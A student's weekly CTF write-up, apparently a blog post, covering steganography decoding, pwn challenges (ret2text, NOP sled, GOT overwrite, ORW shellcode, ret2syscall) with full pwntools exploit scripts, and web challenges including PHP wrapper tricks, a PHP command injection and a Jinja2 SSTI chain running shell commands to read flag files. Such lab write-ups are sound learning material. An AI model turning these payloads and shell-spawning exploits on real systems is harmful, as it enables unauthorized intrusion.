第三周周报

 星期一:

         [xsctf] misc题目:简单的图片

做个misc熟悉一下啊,拿到图片得到提示用隐写,所以直接上工具foremost分离,没有别的文件,考虑

隐写题目思路:

   1.文件嵌套----文件里面有多种文件(采用formost分离提取)

隐写工具foremost

   2.lsb隐写---把信息通过不同RGB管道信息隐藏(采用zsteg提取)

隐写工具zsteg安装+使用教程-CSDN博客

   3.密码隐写--通过加密隐藏信息到图片中(采用steghide提取)隐写工具Steghide使用教程(win)_Amherstieae的博客-CSDN博客

放到kali之中上工具,发现zsteg出来一堆字符串,由xsctf几个字符构成,想到和比赛名称有关,猜测是五进制,分别代表01234, 

'xxfxc', 'xxfst', 'xxtfc', 'xxfxt', 'xxfft', 'xxttc', 'xxffs', 'xxsft', 'xxftc', 'xxtfx', 'xxtfc', 'xxfcf', 'xxfxs', 'xxtfx', 'xxctx', 'xxfcx', 'xxtfx', 'xxsff', 'xxfsf', 'xxtfc', 'xxfxt', 'xxcxs', 'xxtfx', 'xxfsf', 'xxtfc', 'xxftx', 'xxfts', 'xxfxs'

 先把这串字符转为五进制,再把五进制化成十进制,再转化为字符

脚本的编写一步步来,多查阅资料,花了半小时写出完整脚本

from Crypto.Util.number import bytes_to_long
from itsdangerous.encoding import bytes_to_int


def to_quinary(str_list):
    result = []
    for string in str_list:
        decimal = 0
        quinary=""
        for char in string:
            if(char =='x'):
                quinary+="0"
            if(char == "s"):
                 quinary+="1"
            if(char == "c"):
                 quinary+="2"
            if(char == "t"):
                quinary+="3"
            if(char == "f"):
                quinary+="4"

        result.append(quinary)
    return result
def from_quinary_to_decimal(n):
    decimal = 0
    base = 1
    while n > 0:
        digit = n % 10
        decimal += digit * base
        n //= 10
        base *= 5
    return decimal

str_list = ['xxfxc', 'xxfst', 'xxtfc', 'xxfxt', 'xxfft', 'xxttc', 'xxffs', 'xxsft', 'xxftc', 'xxtfx', 'xxtfc', 'xxfcf', 'xxfxs', 'xxtfx', 'xxctx', 'xxfcx', 'xxtfx', 'xxsff', 'xxfsf', 'xxtfc', 'xxfxt', 'xxcxs', 'xxtfx', 'xxfsf', 'xxtfc', 'xxftx', 'xxfts', 'xxfxs', 'xxfcf', 'xxsfc', 'xsxxx']
result = to_quinary(str_list)
print(result)
num = []
for string in result:
    quinary_number = int(string)
    decimal_number = from_quinary_to_decimal(quinary_number) # output: 12220
    num.append(decimal_number)
print(num)
ss = ""
for str in num:
    quinary_number = str
    asc = chr(str)
    ss+=asc
    print(ss)

      pwn题目:warmup

               看下主函数,这里注意 

            write函数的传参注意是1,不是输入,sprintf把sub600函数地址放入字符串流,

ssize_t write(int fd,const void*buf,size_t count); 参数说明:

fd:是文件描述符(write所对应的是写,即就是1)

buf:通常是一个字符串,需要写入的字符串

count:是每次写入的字节数

  • 0:标准输入(stdin)的文件描述符
  • 1:标准输出(stdout)的文件描述符
  • 2:标准错误(stderr)的文件描述符

 返回get函数,跟进v5()

     

 sub含有命令可利用

 

找到可以ret指令,确定偏移量0x40+8,然后返回sub函数

       

                

 脚本

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('node4.buuoj.cn', 26049)
elf=ELF('./warmup_csaw_2016')
payload = cyclic(0x40+8)+p64(0x40060D)
io.send(payload)
io.interactive()

星期二

        web题目:【vnctf】电子木鱼

进来后发现是一个木鱼,但找来找去没有找到怎么玩这个游戏,后来发现开启靶场页面给了文件,下载下来发现是源代码,然后摸索找到了main页面

use actix_files::Files;
use actix_web::{
    error, get, post,
    web::{self, Json},
    App, Error, HttpResponse, HttpServer,
};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use std::sync::{Arc, Mutex};
use tera::{Context, Tera};

static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));

#[derive(Debug, Clone, Default)]
struct ThreadLocker<T> {
    value: Arc<Mutex<T>>,
}

impl<T: Clone> ThreadLocker<T> {
    fn get(&self) -> T {
        let mutex = self.value.lock().unwrap();
        mutex.clone()
    }
    fn set(&self, val: T) {
        let mut mutex = self.value.lock().unwrap();
        *mutex = val;
    }
    fn from(val: T) -> ThreadLocker<T> {
        ThreadLocker::<T> {
            value: Arc::new(Mutex::new(val)),
        }
    }
}

#[derive(Serialize)]
struct APIResult {
    success: bool,
    message: &'static str,
}

#[derive(Deserialize)]
struct Info {
    name: String,
    quantity: i32,
}

#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
    name: &'static str,
    cost: i32,
}

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
    let mut context = Context::new();

    context.insert("gongde", &GONGDE.get());

    if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

    match tera.render("index.html", &context) {
        Ok(body) => Ok(HttpResponse::Ok().body(body)),
        Err(err) => Err(error::ErrorInternalServerError(err)),
    }
}

#[get("/reset")]
async fn reset() -> Json<APIResult> {
    GONGDE.set(0);
    web::Json(APIResult {
        success: true,
        message: "重开成功,继续挑战佛祖吧",
    })
}

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了,怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么?床,睡一下",
            });
        }
    }

    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    let port = std::env::var("PORT")
        .unwrap_or_else(|_| "2333".to_string())
        .parse()
        .expect("Invalid PORT");

    println!("Listening on 0.0.0.0:{}", port);

    HttpServer::new(move || {
        let tera = match Tera::new("src/templates/**/*.html") {
            Ok(t) => t,
            Err(e) => {
                println!("Error: {}", e);
                ::std::process::exit(1);
            }
        };
        App::new()
            .app_data(web::Data::new(tera))
            .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true))
            .service(index)
            .service(upgrade)
            .service(reset)
    })
    .bind(("0.0.0.0", port))?
    .run()
    .await
}

整体浏览发现这个页面实际上就是让你积攒功德到规定数,但你会发现quanity没有用,每次是规定数额的,然后你手点发送太慢了,这里要用上Python脚本,跑了半小时发现远远不够,所以这时候要想别的,发现捐赠消耗是可以倍数上传的,那正常都是整数型有可能溢出,直接考虑溢出情况

常规cost是10,int最小-2147483648,进行乘以一个数是足够大的负数,就可以拿到flag

关键:整数溢出

星期三 :

今天主要复盘了一下学pwn以来做的大部分题目,每一次做都有不一样的感受,甚至在理解同一个payload时的思想也不一样,不断纠正中,今天主要又复习了一遍nop sled,这次写一下64位的

pwn题目:64 nop sled

 整体函数是一样的,这次复盘理解了s和v1之间距离怎么计算,一个重大突破,这里两者距离要看seed距离rsp栈顶的距离为10,加上v1距离rbp距离为15,还有一个ebp和ret的大小+8+8,所以一共就是53(0x35)

        

                            seed数组
                               距离10
                               esp
                                ret
                               ebp
                               距离15
                                v1

 这里esp我暂时理解为指向ret(过段时间懂了来修改)

注意:io.send和io.sendline区别:一个遇到换行自动停止,这里如果是io.send不修改别的,会导致打不通。

脚本要自己去手写一个,有些细节会影响结果,我花了半小时写这么几行,并且每一句话你要去理解为什么这样写,开始慢慢来,写完这道题我基本理解了百分之80的原理精髓,受益匪浅。

给出脚本

from pwn import *

context(arch ='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28132)
io.recvuntil(b'The current location: 0x')
addr = u64(unhex(io.recvline(keepends=False).zfill(16)),endian='big')
print(hex(addr))
v1= addr+668   #v1最高的地址
s= v1+0x35#要知道s最早开始在哪里,就要让v1最大,那就让random=0,所以要在s=addr+668+53后面,
io.recvuntil(b'>')
payload = b'\x90'*1300+asm(shellcraft.sh())
io.sendline(payload)
io.recvuntil(b'>')
io.send(hex(s))
io.interactive()



pwn题目:gift

一道直接告诉了puts函数的题目,本来想用puts函数泄露来做,但发现puts函数地址是会变的,所以这里其实是要通过改写Put的got表来使用,因为下面有让我们指定输入的地方,所以就是普通的改写puts函数的got表为system函数

 那如何知道system函数位置?

这里可以通过版本号(题目给出),用版本已知puts函数-现在puts函数地址,知道偏移量,然后算出system函数,从而写出payload,并且参数/bin/sh已经给出,并且参数以及有,在执行跳转到system时,会调用本身有的/bin/sh。

给出脚本

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = process('./fallw1nd_gift')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
elf = ELF('fallw1nd_gift')

r.recvline()
puts_addr = r.recvuntil('\n')[2:]
puts_addr = int(puts_addr,16)
log.success(f'puts_adrr = {hex(puts_addr)}')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system'] #得到system函数的地址
log.success(f'system_addr = {hex(system_addr)}')
#gdb.attach(r)
#pause()
puts_got = elf.got['puts']
r.sendlineafter('addr:',hex(puts_got)[2:]) #puts的GOT表项
r.sendafter('content:',p64(system_addr)) #给puts的GOT表项填充system函数的地址
r.interactive()

星期四:

        web题目:IncludeOne

                考点:伪随机种子

给出了源代码让我们要传入参数guess和mt.rand()相同,这里看似是随机生成,其实用上工具是可以推算出下一个的,

php_mt_seed - PHP mt_rand() seed cracker 下载地址

绕过第一关后,我们看下面要求我们不能有Base但要有NEwStar出现,这里已经告诉了我们flag的位置,所以用php伪协议,

?file=php://filter/NewStar/read=string.rot13/resource=flag.php

这是一种尝试绕过安全性措施的常见技术之一,称为 Wrapper Injection。

在这个请求中,php://filter 是一个特殊的 PHP 内置的流封装器,允许通过不同的过滤器对输入进行处理。NewStar 是一个自定义的过滤器,它指示对输入进行 ROT13 编码。

通过在 read= 参数中使用 string.rot13 过滤器,攻击者试图对 flag.php 文件进行 ROT13 解码以获取其内容。攻击者可能期望在解码后看到 flag.php 文件的实际内容。

web题目: NotPHP

首先要绕过,file_get_contents函数是要读取文件的,但明显我们没有本地文件读取的,所以这里要利用一个漏洞

(file_get_contents($_GET['data']) == "Welcome to CTF")

构造的语句:http://url/?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY

其中:V2VsY29tZSB0byBDVEY是Welcome to CTF通过base64加密的来的。

绕过了第一层

第二层用数组绕过 

成立的条件是a1和a2值不相等,但是md5后的值相等。因为这里是===不仅比较值相等还会比较值得类型是否相同0E在这里就不可用了。
php中md5和sha1函数都无法处理数组,会返回NULL
所以构造a1[]=1&&a2[]=2就可以绕过。

第三次传参最简单,字符类型饶过2077a. 

最后一个难点,cmd传参因为前面有#要进行闭合绕过。

cmd=1);?><?system('cat /flag');

星期五

    pwn题目:orw读取

这个类型的题目一般需要两点:

1.构造orw读取的shellcode

2.讲shellcode放入可执行段并且构成rop链

 直接先找到输入函数

找到mmap存储地址 

脚本

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28292)
elf = ELF("./pwn")
mmap= 0x123000
#先写一个orw的shllcode
payload = shellcraft.open("/ctfshow_flag")
payload+= shellcraft.read(3,mmap,100)
payload+=shellcraft.write(1,mmap,100)
shellcode = asm(payload)
#构造rop链
#rax=返回函数地址
#rsp=栈顶
jmp_rsp =0x400a01
payload = asm(shellcraft.read(0,mmap,100))+asm(b"mov rax,0x123000;jmp rax")#跳转会写入地方
payload = payload.ljust(0x28,b'a')#填满到返回地址
payload +=p64(jmp_rsp)+asm(b"sub rsp,0x30;jmp rsp")#到了尾部回到开始执行运用rsp栈顶
io.recvuntil(b'do')
io.sendline(payload)
io.sendline(shellcode)

整体思路:开始写出来shellcode,然后payload构成是先写入mmap段100个字节,然后控制rax储存mmap开始地址,跳转回去执行,这时候回去时候read已经读取了shellcode进行(运行时),然后从read函数跳转回原本的主函数,在继续填满到栈溢出,然后再跳转到rsp回到栈顶(其实就是到底部为了方便),下面rsp加上0x30就回到栈底,重新开始执行整个构成的rop。

星期六

         pwn题目:32位的ret2syscall

发现明显栈溢出漏洞,

题目描述以及各处都提示了让用ret2syscall来进行攻击,我们可以利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。 简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell 其中,该程序是 32 位,所以我们需要使得 系统调用号.

execve("/bin/sh",NULL,NULL)

第一个参数  :    eax 应该为 0xb 

第二个参数  :    ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

第三个参数  :    ecx 应该为 0 

第四个参数  :  edx 应该为 0.

payload = cyclic(offset)+p32(pop_eax)+p32(0xb)+p32(pop_rdx_rcx_rbx)+p32(0)+p32(0)+p32(binsh)+p32(int_x80)

给出脚本

from pwn import *
context(arch ='i386',os='linux',log_level='debug')
elf = ELF("./pwn")
io = remote('pwn.challenge.ctf.show', 28129)
offset =112
pop_eax=0x80bb196
pop_edx_ecx_ebx=0x806eb90
binsh=0x80be408
int_x80 =0x08049421
payload = cyclic(offset)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(binsh)+p32(int_x80)

io.sendline(payload)
io.interactive()

普及一下系统调用号:

#define __NR_restart_syscall 0 
#define __NR_exit 1 
#define __NR_fork 2 
#define __NR_read 3 
#define __NR_write 4 
#define __NR_open 5 
#define __NR_close 6 
#define __NR_waitpid 7 
#define __NR_creat 8 
#define __NR_link 9 
#define __NR_unlink 10 
#define __NR_execve 11 

pwn题目:多系统调用

类似的retsyscall,但现在没有给出/bin/sh,所以就只能使用read函数进行读取。

先调用read函数然后读取,再加上调用exavl函数执行命令,先发送payload,然后输入bss段,然后调用拿到shell,

from pwn import *
context(arch ='amd64',os='linux',log_level='debug')
elf = ELF("./pwn")
io = remote('pwn.challenge.ctf.show', 28135)
offset =44
pop_eax=0x080bb2c6
pop_edx_ecx_ebx=0x0806ecb0
bss=0x080eb000

int_x80 =0x0806F350
payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0)
payload+=p32(int_x80)
payload+= p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)
payload+=p32(int_x80)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

 星期天:

web题目:sstl漏洞

让我们进行传参name,传入{{7*‘7}}=7777777,确定是jinjia

 看下属性

{{''['__cl'+'ass__']}}

看下类

{{''['__cl'+'ass__']['__ba'+'se__']}} 

 看下继承,这里要注意要到源代码看,原页面不会显示

 找到可用子类,写个脚本跑一下看看第几个

通过__init__(初始化方法)、globals(访问全局变量,字典)查找可用的类 – 找到__builtins__

{{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']}}

 通过__builtins__中的eval找到页面源代码

{{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ls').read()")}}

 打印源代码

 {{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ca'+'t app.py').read()")}}
{{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ls -l /').read()")}}

查看根目录下所有文件

 cat被过滤用tac获取

{{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ca'+'t /fla'+'g_in_here').read()")}}

整体在于绕过。 

__class__  		 返回类型所属的对象
__mro__    		 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   		 返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  		 类的初始化方法
__globals__  	 对包含函数全局变量的字典的引用

本周总结:

1.pwn入门题型总结

2.web进阶题练习

下周计划:

1.每日单词25个

2.准备台州杯,进行题解复习及拓展

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值